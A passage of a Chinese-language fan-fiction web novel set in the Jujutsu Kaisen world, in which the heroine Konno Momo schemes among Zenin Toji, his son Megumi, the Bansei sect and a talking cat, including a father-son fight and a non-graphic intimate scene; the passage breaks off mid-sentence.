今野桃鼓了鼓脸颊,她的眸光闪烁,开口道:“这么重要的事情,不如让禅院家去做吧。” 禅院? 禅院甚尔听到这个姓氏,本能地就露出了不喜的模样。 “小惠的‘十种影法术’不是禅院的秘术吗?对于这种大家族来说,公然悬赏小惠,明摆着就是对他们的挑衅吧。”今野桃扬起嘴角,狡黠地说道,“你既然已经摸到了那个悬赏者的根底,禅院家却还不出头,岂不是让人觉得懦弱?” 禅院甚尔本来是抵触的,但听她这么一说,竟然真的觉得有几分可行了。 就是啊,他早就把小惠卖给禅院家了,现在小惠面临危险,禅院家怎么能不出力呢?总不能让他们白白占便宜吧。 说不定禅院直毘人早就想要有一个借口对加茂家发难了,他现在递过去把柄,那老头合该感谢他才对! “哈。”他发出一声短促的笑,“你说得对。” 这稀烂的世界,糟心的家族,让他们自己打自己去吧! “既然这样,那我再去给他们添把火。”禅院甚尔的眼珠子在黑暗之中绿油油的,像是择人而噬的狼,“免得禅院浪费时间,找不到敌人在哪。” 就算再怎么父爱淡薄,但在知道有人想把自己的孩子抽筋拔骨,榨干最后一滴血,甚至连身份都要夺走,也没办法容忍吧。 今野桃非常赞同地点头,感动地说道:“甚尔先生真是个好心人呢。”。 伏黑惠醒来的时候,觉得自己从未睡过这么好的觉。他好像做了一场漫长得几乎没有尽头的梦,就连灵魂都在梦中被洗涤了。 睁开眼睛的时候,人还有点迷迷糊糊的。 “醒了?醒了就过来吃早饭。”禅院甚尔按动着手机说道。时隔多年,他有点不太会用现在的电子产品了。 伏黑惠坐在了狭窄的桌子前,旁边就是今野桃。她给少年递了一杯热牛奶。 “这是你爸爸刚刚去外面买的,快喝吧。”她温柔地笑道,“等吃完了早饭,我们就又要出发了。” 伏黑惠乖巧地点头,将杯子里的牛奶一饮而尽。禅院甚尔撇撇嘴,轻嗤一声:“果然还是没断奶的小孩子。” 今野桃顿了顿,将自己原本要喝的牛奶推到了禅院甚尔的面前。 “甚尔先生也补充一下营养吧。”她认真地说道。 禅院甚尔本来想拒绝,但不知为何,对上她略带威胁的目光后,还是捏着鼻子一口喝光了。伏黑惠的眼睛里流出了淡淡的笑意,一言不发地用纸巾擦干净了嘴巴。 今天是周末,学校没有课,但伏黑惠也不能回到自己家,那里恐怕会有人盯梢。于是今野桃决定把这对父子带回她家中。 “我的屋子附近设有结界,不会被追踪到。” “行啊,那就去呗。”禅院甚尔无所谓地说道。 伏黑惠倒是有点紧张,他还是第一次去小桃姐姐家里。他本该带上礼物、精心准备一番的,但事与愿违。 “打扰了……”他嗫嚅道。 一打开门,今野桃就被一道黑影袭击了。 “喵——!”你还知道回来啊!他差点被饿死了! 小猫咪疯狂地喵喵叫着,天知道他做了多久的心理准备,才对着那袋猫粮张开了嘴巴。 今野桃笑吟吟地抱住了他,亲昵地说道:“哎呀,咪咪想我了是吗。” “喵!!”才没有!他一点都不想她!也没有担心她这两天没有回家是不是发生了什么事情! 今野桃抓住他的前爪,尽管喊得大声,但小猫的指甲一点都没有伸出来呢。可怜的小猫,这几天一定没有休息好,毛发都没有光泽了,叫声也是色厉内荏。 “好啦好啦,别生气了。”她亲了一口他的脸颊,“我给你带了‘惊喜’回来呀。” 惊喜?什么惊喜…… 男人从门外探头进来,嘴角的疤痕扯了扯,说道:“哟,打扰咯。” 小猫咪:“……” “喵嗷——!!”小猫咪眼白一翻,昏厥了。 地狱!他一定是早就死了,现在正身处地狱!不然怎么看见那个这辈子最讨厌的猴子了!! 第110章 两室一厅的房子,今野桃睡了主卧,禅院甚尔很不客气地霸占了次卧,把客厅的沙发让给了伏黑惠。 当真是“父慈子孝”了。 “沙发怎么就不能睡了,这是在锻炼他。”禅院甚尔理直气壮地说道。 伏黑惠也坚决不肯睡她的主卧,沉默地拿了个枕头垫在沙发上。这对父子就这样“登堂入室”了,把小猫咪看得一愣一愣的。 “喵!喵!”它一瘸一拐地跟在主人身后,嘴巴喵喵喵个不停,显然正在说什么。 可惜唯一能听懂它说话的主人正在装傻,她弯腰摸了摸它的脑袋笑道:“咪咪一定也很开心吧,有人能跟你一起玩了呢。” “喵!!” 养了两只玉犬的伏黑惠犹豫地想,猫咪这样叫是在表示开心吗? 禅院甚尔噗嗤一声笑了出来,他大手一捞,将奶牛猫举了起来:“你这猫是公的还是母的?” 小猫咪三脚悬空,一双眼睛瞪得老大了,不可思议地看着这个没礼貌的家伙。 “喵嗷!!”它浑身的毛发都炸开了,宛如暴怒的狮子,恨不得一爪子在男人的脸上抓住三条血痕。 可惜当初活着的时候被秒杀,现在更加拿他没办法。一番你来我往,小猫咪轻松被拿捏住了。 “哟,是只公猫啊。”禅院甚尔撇撇嘴,扭头对整理卫生的今野桃说道,“我看春天到了,你的这只猫也该绝育了,不然晚上会很吵的。” 小猫咪:“???” 你别太离谱了!从我家滚出去!! 今野桃的目光漂移了一下,讲道理啊,还得是同性之间更会迫害彼此,至少她是没想到绝育这一方面的。 伏黑惠低头在手机里查了查,随后认真地对她说道:“我看网上说,不能随便对小猫绝育,小猫也是有智慧的。” 小猫咪:没错,你说得 对。 它向少年投去认可的目光。 “所以我们还要演场戏,不如我来扮演抢走小猫的坏人,然后小桃姐姐扮演打不过坏人的主人,这样我把小猫抢走后带它去绝育,等它回来,也不会记恨你,只会记恨我。说不定你们的感情还能变得更好!” 伏黑惠的脑袋上像是冒出了一个小灯泡,他觉得自己的这个主意非常不错。 今野桃张了张嘴巴,竟然有点不敢低头看小猫了。她干笑道:“小惠还挺聪明的哈。” 说得好,下次别说了。 小猫咪:不是,当着我的面密谋真的没问题吗?果然歹竹出歹笋! 伏黑惠不着痕迹地挺了挺胸,淡定地开口道:“我也很喜欢小动物。” 十种影法术怎么就不算是召唤小动物了呢。以后他要养的小动物还多着呢! 禅院甚尔随手把小猫咪一扔,扔在了沙发上。小猫咪在柔软的垫子上打了个滚,撒腿就跑,一下就没了影子。 他短促地笑了笑,但那点愉快如烈日下的水汽,很快就被蒸发了。 “行了,我就先出去了。”他抻了抻筋骨,起身说道,“你们就待在家,别到处乱跑。” 他抬脚就往外走。 “等等。”伏黑惠突然开口道。 幼年时的场景好像突然从大脑中闪现了一下,在某个炎热的午后,平平无奇的一天,日历上普通的一页,谁也没想到,那竟是永别的日子。 男人逆着光站立,而他站在影子里,嘴唇嗫嚅许久,才低声说道:“你注意安全。” “……”被称为“天与暴君”“术士杀手”的男人晃了晃神,随后微微侧头,嗤了一声道,“不过是一些杂碎罢了。” 他没有再停留于这片温情之中,走得干脆利落。 正是因为曾经被爱过,所以他才越发地不愿意再度沉浸到爱里去。 拥有后又失去的痛苦比一切加诸于身上的伤疤还要令人疼痛,聪明人绝不会走进两个相同的陷阱。 而身为父亲,他唯一的希望就是自己的儿子不必感受这种痛苦。 现在看来,他似乎比他要幸运。 【禅院甚尔好感值:50】。 禅院甚尔离开后,伏黑惠在沙发上坐了很久。直到今野桃看不过去,走来敲了敲他的脑袋。 “别发呆了。”她冷酷地说道,“作业写完了吗?” 伏黑初中生惠表情凝滞:“……还没有。” 被悬赏、绑架、追杀、逃命的尽头,原来是作业啊。一下子就切换了不同的片场,从好莱坞大片变成了生活剧。 “那就快去写作业。”今野桃严肃地板起了脸,让小孩乖乖地拿来了纸和笔。 他趴在桌子上,开始跟作业大战。 今野桃自己则打开了卫生间的门,将蜷缩在角落里的小猫抱了出来。 伏黑惠偷偷地用余光瞥见这一幕,问道:“小桃姐姐是要带它去绝育吗?” 小猫咪用难以置信又悲痛的目光看着今野桃,她挠了挠脸颊,咳了两声说道:“不是,我带他去洗澡,几天没回来,都变得脏兮兮了。” 小猫咪:才没有!他明明有在很认真地打理自己! 可惜意见被驳回,今野桃揣着小猫出门了。 早晨的阳光不算刺眼,风吹过猫咪的毛发,让它的耳朵不自觉地抖了抖。 今野桃摸了摸它的后背,拦下了一辆出租车。她报出了一个地址,让小猫咪目不转睛地盯着她。 她浅浅地笑了笑,什么都没解释。 车子停在了大门口,从外面看过去,这是一处普通的宅邸,但今野桃和怀里的小猫咪都知道,这不过是一种伪装罢了。 短短几个月,这里就从门庭若市变得萧条不已。 今野桃如入无人之境,走到了宅邸的深处。 拐过几道弯,她终于遇到了一个人。女人披散着大波浪的卷发,眉眼间带着倦色。看见今野桃,她下意识地露出了一个微笑。 “抱歉,我们现在不接待……” “我不是来找夏油杰的。”今野桃开口打断了她的话,“我是来找你们的。” 女人的眸光闪了闪,沉下了脸:“盘星教目前不接受委托了。” 今野桃恍若未闻:“你们不想给杰报仇吗?” 女人深吸了一口气:“我不知道你在说……” 她的话又没能冲完,两个女孩像炮弹似的冲了过来,一双原本天真清透的眸子里溢满了仇恨的泪水。 “你说什么?你真的可以为夏油大人报仇吗?!” “只要能为夏油大人报仇,你让我们做什么都可以!” 姐妹两人不约而同地开口道,脚下像是打了钉子,任凭女人如何拉扯都拽不动。 “美美子,菜菜子!”她低声呵斥道,“你知道你们在做什么吗!如果夏油大人还活着,他不会愿意看见你们这个样子的!” “但是夏油大人不在了!”眼泪终究还是落了下来,美美子尖声说道,“他已经不在了!” 女人哑然,半天说不出一个字。 滴答滴答的泪水打湿了衣襟,女孩们拦在了今野桃的面前,嘶哑着嗓子说道:“告诉我们,你想怎么为夏油大人报仇。” 今野桃揉着怀里猫咪的耳朵,它蜷缩着身体,一动不动。 “不请我去坐一坐吗?”她叹息了一声,“这或许需要我们详细地聊一聊。” 女人的目光扫过哭泣的两个孩子,揉了揉额角,带着她来到了会客厅。 她疲惫地端上了茶水,坐在了对面,问道:“你想做什么呢?没有夏油大人的盘星教,也不过是一盘散沙罢了。” 夏油杰才是那个核心人物,他将她们聚集在一起,撑起了一把遮风挡雨的大伞。 今野桃看向两个女孩,她们看起来更好骗、啊不是,更好说话一点。 “你们认为,是谁杀了杰呢?”她柔声开口道。 菜菜子迫不及待地回道:“是五条悟!我知道,是五条悟杀了夏油大人!” 姐妹两人紧握住彼此的手,恨声说道:“我也想报仇,可是我们打不过五条悟……” “你们错了。”今野桃放下茶杯,淡然说道,“杀死杰的,不是五条悟,而是……” 在几人专注的凝视下,她大声说道—— “是这个世界!是这个腐朽的世界,让杰无法欢笑的世界啊!” 小猫咪的胡须颤了颤,它的爪子深深陷进了她腰间层叠的布料里,像是要抠出一栋盘星教大楼。 姐妹两人懵懂地重复:“这个世界?” “没错,”今野桃郑重地说道,“杰一直想要创造的,是一个和平的、不管强大还是弱小的咒术师都能幸福生活的世界,但是,这一切都被高高在上的大人物们所摧毁了!总监部把控着咒术界,让弱小的咒术师只能卑微生活在夹缝之中!” “是、是吗……” “没错。”今野桃的两只手搭在了女孩子们的肩膀上,诚恳地说道,“我决意摧毁总监部,让咒术界的势力重新洗牌,以此来告慰杰的在天之灵!” 比姐姐稍微沉稳一点的美美子迟疑地说道:“你不会是在利用我们吧?” 出乎意料的,今野桃点点头说:“没错,我当然是在利用你们。或者说,是我在寻求跟你们的合作!” 两个女孩的神志动摇,远比她们强大得多的咒力攀附上 她们的身体,她们茫然地眨了眨眼睛,眼神逐渐变得坚定。 “我们知道了,我会……” “等等。”一直旁观的女人不赞同地开口道,“就凭你说两句话,怎么能让我们信服?” 今野桃微微颔首,从包里取出了一叠文件,放在桌上。 “你可以翻看一下,这是我调查出来的,当初杰在高专时期,总监部对他的压迫和敌视,以及他们对小咒术师的剥削。” 女孩子们夺过文件,看着看着眼泪又汹涌而出。 “夏油大人……”她们用力揉擦着眼眶,“他们、他们真的是太过分了!” 女人摸了摸她们的脑袋,抽出文件,细细翻阅。阴云爬上她的脸颊,当她放下这一沓纸时,已经有了决定。 “我们会配合你的。”她垂眼道,“但是你休想将我们当做炮灰利用。” “我怎么会那样做呢。”今野桃皱着眉,柔和的眼神中带着委屈,“你们可是杰最重要的家人啊。” 女人闻言,浓重的悲伤凝聚成了一滴眼泪,从颊边滑落。 “那你呢?”她轻声问道,“你和夏油大人,又是什么关系?” 美美子飞快地说道:“是敌人吧!我记得你,在高专的时候,对夏油大人说话很不礼貌呢!” 女人的神色中带出了几分怀疑。 是夏油大人的敌人吗…… 今野桃沉默几秒,抿出了一个苦涩的笑容。 “不是敌人,我们啊……是爱人呢。”她掏出手机,打开相册,找到那张照片展示给她们看。 不枉她在夏油杰临死前从他那里偷走了他的手机,她真是太机智了。 照片上,女孩看着镜头,眼角泛红,像是雪白宣纸上洇开的胭脂,目光慌张中带着一丝羞意,手掌要挡不挡地遮住了小半张脸。 而他在看她,眸光深沉,掌心托着她的下巴,唇上那一点水色暗示了他们之间刚刚发生了什么。 小猫咪震惊地看着手机屏幕。 不是,这一切都是她计划好的吗?她的心计到底有多深远啊?! 所以她从一开始就在算计他,那些他自以为是的亲密,也在她的预料当中吗?! “现在你们相信了吧,”今野桃抽泣了两声,“我是真心想要为杰报仇的。” 姐妹俩面面相觑,有点恍然大悟了。 难怪当时夏油大人对她那样容忍……她们已经能想象到一对恋人分道扬镳后反目成仇又藕断丝连最终一方死去一方追悔莫及的恨海情天剧情了! 该死的总监部,该死的咒术师!。 走出盘星教,今野桃沐浴在阳光下,懒洋洋地打了个哈欠。 她捏了捏怀里猫咪的尾巴,笑吟吟地说道:“小猫咪怎么不高兴了呀。” “喵……”小猫咪发出了有气无力的叫声。 “我没有骗你呀。”今野桃踩着轻快的脚步说道,“再说了,一开始明明是你找到我,是你先来招惹我。” 是了,是他主动出现在她的面前,以一种轻佻的姿态,他以为,她只是一个普通的、柔弱的咒术师。 如果、如果那时他知道她是这样可怕的人,他绝对会…… 会…… 小猫咪闭上了眼睛。 他还是会找到她的吧。咒术师都是疯子,越危险就越是想要探究。她就像是一个深不见底的漩涡,吸走所有看见了她的人的视线和灵魂。等他猛然惊醒时,才发现自己已然陷入了她的泥沼之中。 “杰,你早该将一切都交给我的。”她漫不经心地说道,“你啊,瞻前顾后,犹豫软弱,再给你一百年,你都没办法下定决心彻底把这个世界清洗一遍。” “不过没关系,现在交给我也不迟。” “我会继承你的遗志,和老师一起,让咒术界变得更好哒!” 她将猫咪举起来,低头蹭了蹭它柔软的腹部,换了个姿势抱着,亲昵地说道:“所以,小猫咪就别再想那么多啦,快把烦恼从脑子里清除出去呀,我会一直爱你的。” 小猫咪无言地把脸埋在了她的怀中。 在温暖的怀抱中,它听着她小声哼歌。恍惚间竟然再次生出了这个念头——做被她豢养的猫咪有什么不好呢? 不用再去思考那么多,不用感受人心的阴暗与险恶,不用感受无能为力……她这样算无遗策,一定能轻松应对所有风浪,根本不会有人能打败她。 就算再来一次、十次、一百次,结果也不会改变。 好感值摇摇晃晃地起伏,像被风吹起的羽毛。 “哎呀,突然想起来,猫粮好像吃完了,要再买一点……” “喵嗷——!”只有这个不行! 【夏油杰好感值:90】 110-120 第111章 御三家乱起来的时候,今野桃正带着禅院甚尔在高专给禅院真希开小灶。 禅院真希一开始是不屑一顾的,毕竟她可是被五条老师教导过的“天与咒缚”,哪里是随随便便一个人就能指点的。 但甫一交手,她就迅速“真香”了,前后反差之大,令人忍俊不禁。 禅院甚尔甚至只是用了一根普通的木棍,就将她打得上蹿下跳,毫无招架之力了。 “好强!”她心中暗暗惊叹,“小桃老师是从哪里把他找出来的?!” “怎么还敢走神。”禅院甚尔懒散地开口道,随意一挑,就将禅院真希手中的武器挑飞出去,然后反手一棍子抽在她的背上,将她瞬间打趴在地。 禅院真希连着咳了好几声,才喘过气来,看向禅院甚尔的目光中带上了细微的恐惧。而他垂眼看她,眼神不屑又轻蔑。 这种眼神……这种看废物的眼神…… 禅院真希颤抖着身体,怒火如即将爆发的火山,在胸口沸腾。 “小心!”今野桃连忙轻轻拍打她的后心,将禅院真希扶了起来,“真希,你还好吧?有哪里不舒服吗?胸口闷吗?” 禅院真希依靠在她的身上,非常不适应自己的虚弱,想要将她推开。可惜四肢绵软无力,别说推开了,就连站都站不稳。 “甚尔先生!”今野桃忍不住瞪了男人一眼,对方若无其事地甩动棍子,好像自己什么都没做。 “这点小伤也值得一惊一乍。”他嘀咕道,在她的逼视下,还是耸了耸肩膀说,“我可没用什么力气。” 禅院真希抹了一把脸颊,将大颗大颗滚落的汗水擦去,哑声说道:“我没事,小桃老师不用担心。” 今野桃微微松了一口气。她伸出手,拽了拽禅院甚尔的衣服,小声说道:“甚尔先生就温柔一点吧,她毕竟还是个十五岁的孩子呢。” “都十五岁了,放……”他将“禅院”二字吞下,“放以前,都可以结婚生子了,怎么能算小孩子。” “没错,请不要把我当成孩子,我可以独立处理二级咒灵,是一个成熟的咒术师。”禅院真希认真地说道,如果不是禅院家作祟,她早已评上了二级咒术师,何至于还在四级打转。 “哈,咒术师。”禅院甚尔嗤笑着,他在来的时候就已经得知了禅院真希的资料,所以并未显露出惊讶和反感,“很会说嘛,那就继续。” “请赐教。”禅院真希又冲了上来。 等她被彻底榨干了最后一点体力,浑身 大汗淋漓,躺在地上完全动弹不得的时候,禅院甚尔轻飘飘地拍了拍肩膀上的灰尘,一派云淡风轻的模样。 加练到此结束了。 禅院真希目光恍惚地看着湛蓝的天空,有一种死过一次的感觉。 “不用送,我自己走。”禅院甚尔拒绝了今野桃想要送他下山的提议,无所谓地说道,“你下午不是还要坐班吗,我又不是没断奶的小孩,还要人接送。” 又在影射伏黑惠了。今野桃失笑,抽出一张银行卡递给他。 “甚尔先生这两天也辛苦了,那就好好放松一下吧,可以去感受感受现在的赌马和以前有什么不一样。” 禅院甚尔的眼睛骤然亮了起来,他笑嘻嘻地接过了银行卡:“那我就不客气啦。” 说着,他掐住她的下巴,飞快地在她唇上落下了一个吻。 舌尖扫过她的唇瓣,看着她怔愣的样子,禅院甚尔撇嘴一笑。 男人的身影很快消失不见,禅院真希一瘸一拐地走了过来,没忍住问道:“小桃老师,那个男人……是你的男朋友吗?” “啊,不是哦。”今野桃掏出手帕,给她擦了擦脸上和脖子上的脏污,“是普通朋友呢。” 普通朋友……普通朋友会、会亲嘴吗? 禅院真希的脸上闪过一丝茫然。 她不知道的是,“普通朋友”不仅会亲嘴,还会睡在一起。 下班到家的时候,禅院甚尔还没回来,伏黑惠也去自己家了,她独自一人吃了晚饭,按照以前的作息回房睡觉。 在她半梦半醒的时候,有人钻进了她的被子。她迷蒙地睁开眼睛,感觉到一只宽厚的手掌正握着她的脖子。 烦死了,怎么狗男人都喜欢用这个动作展示自己的掌控欲。 她不耐烦地伸出手,勾住了男人的脖子,用含糊得黏在一起的语气说道:“是怕黑吗?” 禅院甚尔顿住,他迅速领悟了她没有说出口的话,在短暂地斟酌了两秒后,果断放弃了之前的念头。 管他呢,先快乐了再说。 壁灯被打开,昏黄的光将两人交叠的影子投在墙上,男人如野兽般伏在她的身上,将她整个笼罩在自己的狩猎范围内。伴随着急促的呼吸声,影子也开始微微晃动起来。 禅院甚尔吻得又重又深,恨不得将她全部吞下去。可疑的水声在安静的室内响起,中间夹杂着细碎的嗟叹。上好的蚕丝被在激烈的动作中被揉皱,又被当做抹布一样扯来擦拭潮湿的汗水。 空气都被熏暖,让人的神经变得迟钝又敏锐。 肩膀被轻轻啃咬的细密疼痛很快就被更高的浪潮淹没,在极度的欢愉下,那点痛苦不值一提,甚至如一阵风,将本就高涨的焰火吹得越发旺盛。 这是完全不同的一种体验。 当一切结束,今野桃全身湿漉漉得像是从水里捞起来。她一脚踹开意犹未尽的男人,裹上了睡衣,嫌弃地走进了浴室。 男人往床上一倒,发出了鼾声。 算了,今晚她睡次卧好了。今野桃走进厨房,给自己倒了一杯水。 朦胧的夜色中,一双紫色的眸子散发着幽深的光芒。 “你还没睡吗,小猫咪。”她伸手想要摸一摸小猫的头,却被它避开。 它甩动着长长的尾巴,前爪踩在上面,坐姿端庄,看起来很像是一只猫咪了。 “喵。”它轻声说道。 你想要像豢养我一样,豢养那个男人吗? 今野桃咽下口中的温水,轻声笑道:“怎么会呢,你想太多啦。” 小猫“哈”了一声,发出了一连串控诉:“喵喵喵!”你这个花心的女人!欺骗别人感情! 可惜一点没能打动她。这个花心又狠心的女人游刃有余地回道:“你这是污蔑。我连一个交往对象都没有,怎么就花心啦。还有,我再重复一遍,我一直都没有骗你哦,顶多就是隐瞒了一些东西而已。” 可惜小猫咪已经不相信她了,它的瞳孔散发出冰冷的光泽,比刀锋更加锐利。它看见她领口隐约透出来的红痕,还有眼角眉梢未散去的春情,只觉得毒液快把它的心浸泡透了。 他都已经愿意低头、愿意成为她的小猫了啊,为什么她却不能只养一只猫呢? 既然如此,他就只好亲自动手了。 “只是隐瞒吗?”禅院甚尔斜靠在门框上,冷冷说道,“那你告诉我,小惠是‘十种影法术’的消息,是不是你传递出去的。” 今野桃挑眉,无奈开口:“为什么要追究这些细枝末节呢?” “你就告诉我,是,还是,不是。”禅院甚尔一字一句地说。 今野桃叹了口气:“好吧,是我。” 禅院甚尔被气笑了。 从身上摸出歪七扭八地写着“悬赏伏黑惠的人是她”的纸条时,他的第一反应是不信。她那么爱小惠,怎么会做出这种事情呢?但第六感却告诉他,是真的。 所以这算什么?她在把他和小惠当傻子耍吗?! “是你悬赏了小惠?” “是。” “是你一直在追杀他?” “是。” “是你故意让我去挑起禅院和加茂之间的争斗?” “是。” 最后一个尾音落下,禅院甚尔的拳头裹挟着风声,直冲今野桃的面门。他要将她的这张虚伪的假面彻底撕下来,要让她这个玩弄感情的家伙得到教训! 然而,她不躲不闪,仍旧笑意盈盈地站在那里。 刹那间,就在他将要触碰到她之前,一股巨大的力从侧面撞来,无数雪白的兔子像潮水一样奔涌出现,很快就将他淹没在其中。 禅院甚尔猝不及防,在浪潮中挣扎几下才站了起来,他抓住兔子的耳朵,将它们从身上撕下来,用力甩开。 “……小惠。”他沉着脸,看向来人。 伏黑惠不知道什么时候出现在门口,他的手指结印,刚刚正是召唤了“十种影法术”中的“脱兔”。 少年站在阴影之中,目光平淡,表情沉静。 禅院甚尔不太确定他是否听到了刚刚的对话,开口道:“小惠,你的悬赏,是这个女人下的!” 伏黑惠掀了掀眼皮,不咸不淡地回道:“我知道。” 禅院甚尔:…… 小猫咪:…… 今野桃拢了拢睡衣,云淡风轻地将凌乱的碎发拨到耳后。 刚刚的兔群将禅院甚尔冲了出去,现在,不算宽敞的客厅里,三个人呈三角形站着。 父子两人彼此对视,禅院甚尔用余光瞥见,女人的脸上带着智珠在握的轻笑。 她完全将他的儿子掌控在手中了。 第112章 禅院甚尔深吸了一口气,慢慢地吐出来,一字一句地开口道:“你没听懂我说的话吗,我说,她在骗我,也在骗你!” 伏黑惠不置可否地回道:“不,她没有骗我。” 这孩子,怎么就突然听不懂人话了呢。 “她亲口承认,你的悬赏是她下的,你的咒术也是她公布出去的。如果不是她,我们本不用那样狼狈地躲避追杀!”禅院甚尔恨不得打开他的脑子,看看里面装的都是些什么东西。 伏黑惠的手指仍旧保持着结印的姿态,显然在警惕着自己的父亲。 “你说错了,小桃姐姐所做的一切,本意都是为了我。”他的脸上线条紧绷,眼睛里带着晦涩的光。 禅院甚尔有点呆滞,他想说什么,又不好说。他觉得自己的儿子可能是个傻子,而且目测被骗得很惨。 早知道……还不如让他去禅院呢…… 男人有点绝望地想。 “小惠。”今野桃擦了擦眼角不存在的泪水,感动地说道,“还是你懂我,只要你能够理解我,就算被你的爸爸误解也没关系的。” 恍惚间,禅院甚尔突然想起第一天他们见面的时候的场景,他对那个女人假模假样地抱怨伏黑惠对父亲心怀怨恨,结果那个女人竟然还要他好好反思自己! 而现在…… “爸爸,你伤到了小桃姐姐的心。”伏黑惠认真地说道,“你要给她道歉。” 禅院甚尔:…… 好好好,合着你们是双向奔赴,他才是中间的恶人是吧。 “你这个被女人蒙蔽的家伙,可不要说是我的儿子。”禅院甚尔扯了扯嘴角,抽出“游云”,“想要保护她?那就让我看看你的实力。弱者,可是没有权力谈判的。” 有着相似面容的两人彼此对峙着,在某个心跳的间隙,少年发起了进攻。 “玉犬!”他召唤出了自己最熟悉的两个式神,它们一个在明,一个在暗,同时袭向了男人。 可惜这种低级的战术对禅院甚尔毫无用处,只听“砰砰” 两声,两只式神倒飞出去。 他还算是手下留情了,玉犬遭到了这样的打击,竟然还没有化作咒力消散。 伏黑惠知道父亲的实力强大,但毕竟没有亲眼看过,所以并不害怕,坚定的神色中蕴含着一种独属于少年人的勇气。 ——为了保护爱着的人,哪怕对抗全世界也在所不惜。 今野桃干脆坐在了沙发上,一边说着“危险呀小惠”,一边饶有兴致地围观父子阋墙的戏码。 十几秒钟后,伏黑惠率先退出了房门。继续打下去,这座屋子可要承受不起了。 禅院甚尔紧追其后,抓住他的空隙就是一拳。这一拳实打实地击中了伏黑惠的腹部,如果不是他聪明地将咒力凝聚起来抵挡,绝对会被打出内伤。即便如此伏黑惠还是重重地摔在了外面的围墙上,被极力克制的痛呼声断断续续地从喉咙里挤出来。 今野桃倏然起身,脸上浮现出了不高兴的表情。 这怎么还真下狠手啊! 那可是你的儿子!亲生的儿子! 女人沉着脸,手指在膝盖上微微点了点。 正沉浸在战斗之中、给儿子一个完整童年的禅院甚尔猛地僵住了两秒,玉犬张大了嘴巴,狠狠地在他的小腿上啃了一口。他条件反射地踹了出去,白玉犬哀嚎一声消失。 禅院甚尔啧了一下,以为是自己身体里的咒力不够用了。 然而紧接着,他就像是没上油的机器人,打着打着就会卡壳。伏黑惠抓住机会,将黑白玉犬融合,召唤出了玉犬[浑],这是他目前攻击力最强的式神了。 玉犬张着嘴巴咬向禅院甚尔的腰。 好好好,这真的是奔着给他爹致命一击来的吧。 禅院甚尔艰难地扭动身体,避开了玉犬的爪牙。他拉开了和伏黑惠的距离,隔着厚重的夜色,远远地看向站在门口的今野桃。 今野桃眸光冷淡,凝视着禅院甚尔。 她对他不屑地轻笑。 但凡有点脑子的人都知道,“降灵术”这种术式,一定会有掌控在施术人手中的“钥匙”吧。别说命令召唤出来的那个人了,就算控制他去死,也不过是一个念头的事情而已。 禅院甚尔没能想到这一点,一个是他们翻脸的速度太快,完全在他的意料之外;另一个就是他自认为他比今野桃要强。 “降灵术”是会反噬的,如果召唤出来的存在比施术人更强,就可以反过来控制施术人。 那样瘦弱的、纤细的她,看起来完全不堪一击,怎么可能会比他更强…… 愤怒的、不敢置信的目光混合着痛苦与仇视,如夏天喝下一罐冰凉的汽水那样令今野桃从身到心都感受到愉悦。 没错呢没错呢,就是这种表情,这种不甘心却又无可奈何,只能向她低头的表情。 猎人和猎物的身份瞬间颠倒,可惜当他意识到这一点时,已经晚了。 伏黑惠急促地喘着气,最后召唤出大蛇,把禅院甚尔牢牢束缚住。在他还没有脱力摔倒前,就被一双温柔的手搀扶住了。 “辛苦你了,小惠。”今野桃揽着他,将他抱在了怀里。她毫不吝惜溢美之词,将它们慷慨地堆砌在少年身上,“你真是太厉害了,刚刚的那个动作干脆又利落,而且你最近有好好吃饭吧,感觉身体变得更加强壮了呢!” 伏黑惠被夸得目光游离,幸好天色暗沉,他脸上淡淡的红晕才没那么明显。 他移动视线,看向了沉默不语的禅院甚尔。 “……爸爸。”他犹豫了一下,还是开口喊道,“你现在应该冷静下来了吧。” 冷静?是的,他现在特别冷静,从没有像现在这样冷静过。 禅院甚尔哼了一声。 伏黑惠往他那边走了两步,靠近了他说道:“既然你冷静下来了,那我跟你好好谈谈。小桃姐姐会这样做,完全是为了我的‘心愿’。” 他想起之前在校门口的时候,她对他微笑的样子。 她笃定地说道——小惠的愿望,我会替你达成的。 “是我不想让你离开,所以小桃姐姐才会用这种办法挽留你。”作为知情者,伏黑惠在得知自己被悬赏的时候,就隐隐有所察觉了。 更何况,不要忘记了,是“小桃姐姐”亲自将他带出校园的。 别人分辨不出来,他如何会被假象所迷惑呢。当时他就发现,那个“小桃姐姐”就是真的,或许是分身、傀儡之类的道具,但里面的“灵魂”确确实实就是“小桃姐姐”。 他跟着小桃姐姐来到了废弃的公园,在那里等待着可能会来、也可能不会来的父亲。 他是怀疑的。当初那样被扔下,他的父亲真的是爱他的吗? 小桃姐姐搂着他的肩膀,笑道:“是爱你的呀,小惠,你的父亲和母亲,绝对是爱你的,不然如何会给你取名为‘恩惠’呢?” 恩惠吗……他是上天赐予父母的“恩惠”吗? 他心中忐忑地默许了小桃姐姐的做法,就不能让她独自承担骂名。 他唯一没有料到的,是父亲竟然会想要跟小桃姐姐变成那种关系。 凭什么,他都那么老了,什么都没有,凭什么想跟小桃姐姐在一起。 “我很抱歉,爸爸。”伏黑惠低下了头说道。 禅院甚尔气得嘴唇都在颤抖。 合着全程被耍的人只有他啊? “……我只是想知道,你到底……”在今野桃鼓励的目光中,他撑起勇气说道,“你到底是不是爱着我。” 禅院甚尔像是被击中要害的动物,一瞬间连呼吸都停滞了。 “你在开什么玩笑。”强壮的身躯却无法保护那颗脆弱的心,禅院甚尔的脸上露出了几分狼狈,“你这家伙……” 下一秒,禅院甚尔被“闭麦”了。他的嘴巴开合,却无法发出声音。 今野桃站在伏黑惠的身后,用警告的眼神看着他。 行行行,他就是她和儿子的玩具是吧。 “小惠。”她的手搭在少年的肩膀上,“有时候我们不能看一个人说了什么,而应该看他做了什么。毕竟袒露心扉也是一项很难学会的技能,对吧。” 伏黑惠略一皱眉,随后恍然大悟。 禅院甚尔:“……” 想说话,但说出不来。 “很晚了,你也早点去睡觉吧,特地赶过来,真是辛苦了。”今野桃对伏黑惠说道,“既然误会都解除了,我会和甚尔先生好好沟通的。” 伏黑惠迟疑地看了一眼父亲,将术式收回。禅院甚尔僵硬地站起来,走到了今野桃的身后。 应该是不会再打起来了。 “要不然……爸爸跟我回去睡?”他提议道,“总是和小桃姐姐住在一起,会不会不太好呢?” “没关系的,甚尔先生可能不久之后也要离开了。”今野桃摸了摸少年的脸颊,“快回去吧,路上注意安全。” 父亲要离开吗……也在意料之中了。 伏黑惠没有继续纠缠,乖巧地点点头。 禅院甚尔就这么看着自己的儿子像被驯服的家犬,被她召之即来挥之即去。 等到伏黑惠的背影消失在街道尽头,今野桃叹了口气,反手揪住了男 